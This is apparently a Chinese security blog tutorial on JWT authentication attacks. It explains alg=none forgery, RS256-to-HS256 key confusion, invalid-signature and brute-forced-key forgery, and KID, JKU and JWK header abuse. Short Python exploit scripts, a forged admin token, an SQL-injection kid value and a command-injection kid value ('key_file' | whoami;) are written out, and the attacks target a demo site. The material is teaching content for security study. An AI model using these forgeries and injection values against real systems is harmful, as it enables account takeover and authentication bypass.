JWT鉴权攻击

loading

Json Web Token简称JWT,是一种基于json格式传输信息的token鉴权方式。目前应用较为广泛,Web登陆认证以及CTF中也时常遇到。由于它的无状态和签名方式,因此存在一些特定于JWT的安全性问题。这篇文章介绍几种JWT鉴权攻击方法。

JWT数据结构

JWT由三部分组成,这些部分中间以.号分隔,分别是:

  • Header(头部)
  • Payload(有效载荷)
  • Signature(签名)

因此JWT通常格式为:

1
base64UrlEncode(Header). base64UrlEncode(Payload).Signature

其中Header与Payload以明文经Base64Url编码存储。

一段在 https://jwt.io/ 生成的JWT如下:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InpqdW4iLCJpYXQiOjE1MTYyMzkwMjJ9.nND9JmdF_kAXhJuJkGo8ss_Fx34zpY8xGt6FcB6qFIc

下面让我们将其分解加以解析。

Header通常由两部分组成:令牌的类型typ(即JWT)和所使用的签名算法alg(例如HS256、RS256)。

上面一段JWT的第一部分是:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

经Base64Url解码如下:

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

Payload

Payload用来承载要传递的数据,它的json结构实际上是对JWT要传递的数据的一组声明,这些声明被JWT标准称为claims,它的一个”属性值对“就是一个claim,每一个claim都代表特定的含义和作用。

claims有三种类型分别是:Registered claims、Public claims、Private claims。

详细可见:https://jwt.io/introduction/

上面一段JWT的第二部分是:

1
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InpqdW4iLCJpYXQiOjE1MTYyMzkwMjJ9

经Base64Url解码如下:

1
2
3
4
5
{
"sub": "1234567890",
"name": "zjun",
"iat": 1516239022
}

Signature

要创建签名部分,必须获取编码的header,编码的payload,加密密钥(secret),header中指定的算法,并对其进行签名。

例如,如果要使用HS256算法,则将通过以下方式创建签名:

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret)

签名用于验证数据在发送过程中没有被篡改。

上面一段JWT的signature部分是:

1
nND9JmdF_kAXhJuJkGo8ss_Fx34zpY8xGt6FcB6qFIc

JWT攻击实现

敏感信息泄漏

通过JWT数据结构的分析,显然可知:header与payload是以明文经Base64Url编码传输的,因此,如果payload中存在敏感信息的话,就会发生信息泄露。

更改签名算法

JWT签名算法用以防止用户篡改其中的数据。例如使用HMAC或RSA签名。JWT的header包含用于对JWT进行签名的算法,某些算法的一个缺点是,即使客户端可以操纵它,它们也信任此JWT标头。如果存在此漏洞,则客户端可以创建自己的令牌。

将alg设置为None

签名算法可以确保JWT在传输过程中不会被恶意用户所篡改。但header头部中的alg字段却可以改为none。另外,一些JWT库也支持none算法,即不使用签名算法。将alg设置为none,告诉服务器不进行签名校验。

将alg字段改为none后,系统就会从JWT中删除相应的签名数据。这时,JWT就是 base64UrlEncode(header). base64UrlEncode(payload).,然后将其提交给服务器。

一个演示项目实例:https://github.com/Sjord/jwtdemo

HS256演示页面:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php

Exploit:

1
2
3
4
5
6
7
8
9
10
11
import base64
# header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
# payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxMzM1OTI1OSwiZXhwIjoxNjEzMzYwNDU5LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss": "http://demo.sjoerdlangkemper.nl/","iat": 1613359259,"exp": 1613360459,"data": {"hello": "world"}}
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'

传入后结果如下,通过验证:

alg=none

将alg由RS256更改为HS256

HS256算法使用密钥来为每个消息进行签名和验证。RS256算法使用私钥对消息进行签名,并使用公钥进行验证。如果我们将算法从RS256更改为HS256,则将使用公钥作为私钥使用HS256算法验证签名,则后端代码使用RSA公钥+HS256算法进行签名验证。由于公钥是公开的,因此我们可以正确签署这类消息。

相同,我们也可以使用演示实例:https://github.com/Sjord/jwtdemo

RS256演示页面:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php

RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem

Exploit:

1
2
3
4
5
6
7
import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ": "JWT","alg": "RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxMzM1OTA5NiwiZXhwIjoxNjEzMzYwMjk2LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss": "http://demo.sjoerdlangkemper.nl/","iat": 1613359096,"exp": 1613360296,"data": {"hello": "world"}}
public = open('public.pem', 'r').read()
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

理论可行,但是实际未成功,可能是公钥处理的问题。

无效签名

当用户端提交请求给应用程序,服务端可能没有对签名部分进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制,当然这种情况极少。

下面一段JWT:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImFjdGlvbiI6InByb2ZpbGUifQ.FjnAvQxzRKcahlw2EPd9o7teqX-fQSt7MZhT84hj7mU

payload部分为

1
2
3
4
{
"user": "test",
"action": "profile"
}

若存在无效签名的话,即直接修改user字段,便可伪造其他用户:

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJwcm9maWxlIn0._LRRXAfXtnagdyB1uRk-7CfkK1RESGwxqQCdwCNSPaI

爆破签名密钥

针对于HS256对称加密算法,如果HS256密钥的强度较弱的话,攻击者可以直接通过暴力破解的攻击方式来得到密钥。具体方法很简单:如果密钥正确的话,解密就会成功;如果密钥错误的话,解密代码就会抛出异常。

例如CISCN2019 华北赛区 Day1 Web2 ikun一题中就有利用爆破JWT密钥进行伪造token。

解题过程见:https://blog.zjun.info/2019/ikun.html

爆破工具:c-jwt-crackerjwt_toolJWTPyCrack

在线JWT加解密网站:https://jwt.io/

密钥泄露

假设攻击者无法暴力破解密钥,那么他可能通过其他途径获取密钥,如git信息泄露、目录遍历,任意文件读取、XXE漏洞等,从而伪造任意token签名。

可控头部参数

KID头部参数

KID代表”密钥ID”即”Key ID”。它是JWT中的可选头部字段,它使开发人员可以指定用于验证token的密钥。KID参数的正确用法如下所示:

1
2
3
4
5
{
"alg":"HS256",
"typ":"JWT",
"kid":"1" //使用密钥1来验证令牌
}

由于此字段是由用户控制的,因此攻击者可能会操纵它并导致危险的后果。

目录遍历

由于KID通常用于从文件系统中检索密钥文件,因此,如果在使用前未对其进行清理,则可能导致目录遍历攻击。在这种情况下,攻击者将能够在文件系统中指定任何文件作为用于验证令牌的密钥。

1
2
"kid": "../../public/css/main.css"
//使用公共文件main.css验证token

例如,攻击者可以迫使应用程序使用公开可用的文件作为密钥,并使用该文件对HMAC令牌进行签名。

SQL注入

KID还可以用于从数据库检索密钥。在这种情况下,可能可以利用SQL注入来绕过JWT签名。如果可以在KID参数上进行SQL注入,则攻击者可以使用该注入返回她想要的任何值。

1
2
"kid":"aaaaaaa' UNION SELECT 'key';--"
//使用字符串"key"验证token

例如,上面的注入将使应用程序返回字符串”key”(因为数据库中不存在名为”aaaaaaa”的键)。然后将使用字符串”key”作为密钥来验证令牌。

命令注入

有时,当KID参数直接传递到不安全的文件读取操作中时,可以将命令注入代码流中。

可能允许这种类型的攻击的函数之一是Ruby open()函数。此功能使攻击者只需在KID文件名之后将命令添加到输入即可,即可执行系统命令:

1
"key_file" | whoami;

这只是一个例子。从理论上讲,每当应用程序将未经过滤审查的任何头文件参数传递给类似于system()exec()等的任何函数时,就会发生此类漏洞。

JKU头部参数

JWKSet URL即JKU。它是一个可选的头部字段,用于指定指向一组用于验证token密钥的URL。如果允许该字段,并且没有适当地限制此字段,则攻击者可以托管自己的密钥文件,并指定应用程序使用它来验证token。

1
jku URL->包含JWK集的文件->用于验证token的JWK

JWK头部参数

可选的JWK(JSON Web Key)标头参数允许攻击者将用于验证token的密钥直接嵌入token中。

X5U、X5C URL操作

类似于JKU和JWK头部参数,X5U和X5C标头参数允许攻击者指定用于验证token的公钥证书或证书链。X5U以URI形式指定信息,而X5C允许将证书值嵌入token中。

参考

声明

评论